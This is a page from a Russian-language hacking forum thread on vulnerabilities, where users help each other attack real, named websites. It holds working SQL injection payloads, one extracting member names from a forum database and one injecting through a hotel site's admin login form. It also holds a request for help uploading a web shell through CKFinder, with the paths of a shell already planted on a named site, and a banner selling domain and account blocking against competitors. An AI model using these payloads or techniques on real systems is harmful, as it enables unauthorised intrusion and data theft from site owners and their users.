Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 74 из 296

Опции темы

Поиск в этой теме

Опции просмотра

#731

19.10.2015, 23:55

RedFern.89

Постоянный

Регистрация: 20.01.2010

Сообщений: 338

С нами: 8582863

Репутация: 69

Цитата:

Сообщение от ButilkaSoka

↑
/news'and(select!x-~0.FROM(select+(select concat(0x3c62723e,name,0x3c62723e) from ipb_members where member_id='15664')x)f)and'/

http://prntscr.com/8t332x

через браузер. через burp suite запрос прерывается там же

#732

20.10.2015, 00:00

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Код:

/news'and(select!x-~0.FROM(select(select(concat(0x3c62723e,name,0x3c62723e))from(ipb_members)where(member_id='15664'))x)f)and'/

#733

20.10.2015, 00:05

RedFern.89

Постоянный

Регистрация: 20.01.2010

Сообщений: 338

С нами: 8582863

Репутация: 69

Цитата:

Сообщение от yarbabin

↑
/news'and(select!x-~0.FROM(select(select(concat(0x3c62723e,name,0x3c6 2723e))from(ipb_members)where(member_id='15664'))x )f)and'/

спасибо, все работает

#734

20.10.2015, 10:17

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Цитата:

Сообщение от SaNDER

↑
_ttp://vulkan.site/.htaccess

Код:

RewriteEngine On

RewriteRule ^go/([p0-9]*)/([a-zA-Z0-9]+)/?$ /go.php?pid=$1&tid=$2 [QSA,L]
RewriteRule ^go/([p0-9]*)/?$ /go.php?pid=$1 [QSA,L]

RewriteRule ^imp/([p0-9]*)/([a-zA-Z0-9]+)/?$ /imp.php?pid=$1&tid=$2 [QSA,L]
RewriteRule ^imp/([p0-9]*)/?$ /imp.php?pid=$1 [QSA,L]

RewriteRule ^events/([A-Za-z]+)/?$ /eventapi/api.php?action=$1 [QSA,L]

RewriteRule ^[A-Za-z0-9]+/(p[0-9]+)/([a-zA-Z0-9]+)/?$ /index.php?pid=$1&tid=$2 [QSA,L]
RewriteRule ^[A-Za-z0-9]+/(p[0-9]+)/?$ /index.php?pid=$1 [QSA,L]

RewriteRule ^(p[0-9]*)/([a-zA-Z0-9]+)/?$ /index.php?pid=$1&tid=$2 [QSA]
RewriteRule ^(p[0-9]*)/?$ /index.php?pid=$1 [QSA]

Можно что-нибудь сделать?

можно узнать, как настроен rewriterule. а что вы хотите?

#735

20.10.2015, 21:36

xivi00

Познающий

Регистрация: 23.11.2013

Сообщений: 46

С нами: 6563126

Репутация: 0

http://www.bogema-hotel.ru/access_admin.php в поле логин sqlini как сформировать запрос для sqlmap немогу разобраться

#736

20.10.2015, 21:45

Br@!ns

Постоянный

Регистрация: 03.09.2010

Сообщений: 885

С нами: 8258006

Репутация: 25

Цитата:

Сообщение от xivi00

↑
http://www.bogema-hotel.ru/access_admin.php
в поле логин sqlini как сформировать запрос для sqlmap немогу разобраться

-----------------------------219001973211145\r\n

Content-Disposition: form-data; name="authorize"\r\n

\r\n

1\r\n

-----------------------------219001973211145\r\n

Content-Disposition: form-data; name="login"\r\n

\r\n

admin'or(ExtractValue(1,concat(0x3a,(select(versio n())))))='1\r\n

-----------------------------219001973211145\r\n

Content-Disposition: form-data; name="password"\r\n

\r\n

sdsdgsg\r\n

-----------------------------219001973211145--\r\n

зачем sqlmap здесь?

#737

21.10.2015, 00:38

xivi00

Познающий

Регистрация: 23.11.2013

Сообщений: 46

С нами: 6563126

Репутация: 0

Цитата:

Сообщение от Br@!ns

↑
-----------------------------219001973211145\r\n
Content-Disposition: form-data; name="authorize"\r\n
\r\n
1\r\n
-----------------------------219001973211145\r\n
Content-Disposition: form-data; name="login"\r\n
\r\n
admin'or(ExtractValue(1,concat(0x3a,(select(versio n())))))='1\r\n
-----------------------------219001973211145\r\n
Content-Disposition: form-data; name="password"\r\n
\r\n
sdsdgsg\r\n
-----------------------------219001973211145--\r\n
зачем sqlmap здесь?

руками не дорос еще крутить

#738

21.10.2015, 00:57

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Цитата:

Сообщение от xivi00

xivi00 said:
↑
http://www.bogema-hotel.ru/access_admin.php
в поле логин sqlini как сформировать запрос для sqlmap немогу разобраться

/threads/424557/page-13#post-3861751

#739

21.10.2015, 11:31

kacergei

Новичок

Регистрация: 26.05.2007

Сообщений: 8

С нами: 9979143

Репутация: -5

помогите пожалуйста здесь в ckfinder'e 1.4.2 можно как нибудь шел залить?

Как только не пробывал и через форму отдельную к connector'y и так

Получается так; _php;.txt

загруженный шел;

.SpoilerTarget" type="button">Spoiler: shell
aromagiya.kz/cms/uploads/files/Sh3LL_php;.txt
ckfinder:

.SpoilerTarget" type="button">Spoiler: ckfinder
aromagiya.kz/cms/files/appends/ckfinder/ckfinder.html